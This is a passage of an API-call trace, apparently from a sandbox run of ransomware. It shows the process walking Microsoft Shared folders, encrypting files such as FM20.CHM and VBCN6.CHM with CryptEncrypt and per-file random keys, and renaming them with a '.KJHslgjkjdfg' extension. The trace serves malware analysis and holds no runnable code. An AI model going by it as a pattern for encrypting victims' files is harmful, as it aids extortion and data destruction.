lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.910] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0151.910] GetProcessHeap () returned 0x2a0000 [0151.910] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0151.910] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0151.910] GetProcessHeap () returned 0x2a0000 [0151.910] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7e) returned 0x2f5738 [0151.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0151.911] GetProcessHeap () returned 0x2a0000 [0151.911] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5738 | out: hHeap=0x2a0000) returned 1 [0151.911] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.911] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0151.911] GetProcessHeap () returned 0x2a0000 [0151.911] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x280) returned 0x2c7d48 [0151.911] GetProcessHeap () returned 0x2a0000 [0151.911] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0151.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0151.912] GetProcessHeap () returned 0x2a0000 [0151.913] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0151.913] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.913] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0151.913] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0151.913] GetProcessHeap () returned 0x2a0000 [0151.913] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2a0000) returned 1 [0151.913] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 0 [0151.913] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0151.913] GetProcessHeap () returned 0x2a0000 [0151.913] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0151.913] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBA", cAlternateFileName="")) returned 1 [0151.913] GetProcessHeap () returned 0x2a0000 [0151.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x76) returned 0x2b9ae0 [0151.913] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0151.914] GetProcessHeap () returned 0x2a0000 [0151.914] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0151.914] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.915] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBA7", cAlternateFileName="")) returned 1 [0151.915] GetProcessHeap () returned 0x2a0000 [0151.915] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x278) returned 0x2c7d48 [0151.915] GetProcessHeap () returned 0x2a0000 [0151.915] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x80) returned 0x2f5738 [0151.915] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0151.915] GetProcessHeap () returned 0x2a0000 [0151.915] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5738 | out: hHeap=0x2a0000) returned 1 [0151.915] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.915] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0151.915] GetProcessHeap () returned 0x2a0000 [0151.915] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x282) returned 0x2f32d0 [0151.915] GetProcessHeap () returned 0x2a0000 [0151.915] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0151.915] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0151.917] GetProcessHeap () returned 0x2a0000 [0151.917] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0151.917] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.917] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0151.918] GetProcessHeap () returned 0x2a0000 [0151.918] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28c) returned 0x2f9730 [0151.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0151.918] GetProcessHeap () returned 0x2a0000 [0151.918] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.918] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.918] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0151.918] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x5, lpOverlapped=0x0) returned 1 [0151.921] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0151.921] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.921] GetProcessHeap () returned 0x2a0000 [0151.921] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0151.921] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0151.921] CryptDestroyKey (hKey=0x2c6420) returned 1 [0151.921] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0151.921] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0151.921] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0151.921] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0151.921] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0151.921] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0151.921] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0151.921] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.922] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.922] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x51a5b, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x51a5b, lpOverlapped=0x0) returned 1 [0151.928] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x51a60, dwBufLen=0x51a60 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x51a60) returned 1 [0151.932] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.932] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x51a60, lpOverlapped=0x0) returned 1 [0151.933] CryptDestroyKey (hKey=0x2c6420) returned 1 [0151.933] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x51b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.933] SetEndOfFile (hFile=0x13c) returned 1 [0151.937] GetProcessHeap () returned 0x2a0000 [0151.937] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0151.937] GetProcessHeap () returned 0x2a0000 [0151.937] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.937] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.kjhslgjkjdfg")) returned 1 [0151.938] CloseHandle (hObject=0x13c) returned 1 [0151.938] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0151.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0151.939] GetProcessHeap () returned 0x2a0000 [0151.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.939] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.939] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0151.939] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xa, lpOverlapped=0x0) returned 1 [0151.942] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0151.942] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.942] GetProcessHeap () returned 0x2a0000 [0151.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0151.942] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0151.942] CryptDestroyKey (hKey=0x2c6420) returned 1 [0151.942] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0151.942] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0151.943] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0151.943] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0151.943] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0151.943] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0151.943] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0151.943] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.943] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.943] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ac96, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x1ac96, lpOverlapped=0x0) returned 1 [0151.945] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x1aca0, dwBufLen=0x1aca0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x1aca0) returned 1 [0151.947] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.947] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x1aca0, lpOverlapped=0x0) returned 1 [0151.947] CryptDestroyKey (hKey=0x2c6420) returned 1 [0151.947] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x1ad64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.947] SetEndOfFile (hFile=0x13c) returned 1 [0151.951] GetProcessHeap () returned 0x2a0000 [0151.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0151.951] GetProcessHeap () returned 0x2a0000 [0151.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.kjhslgjkjdfg")) returned 1 [0151.952] CloseHandle (hObject=0x13c) returned 1 [0151.952] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0151.953] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, 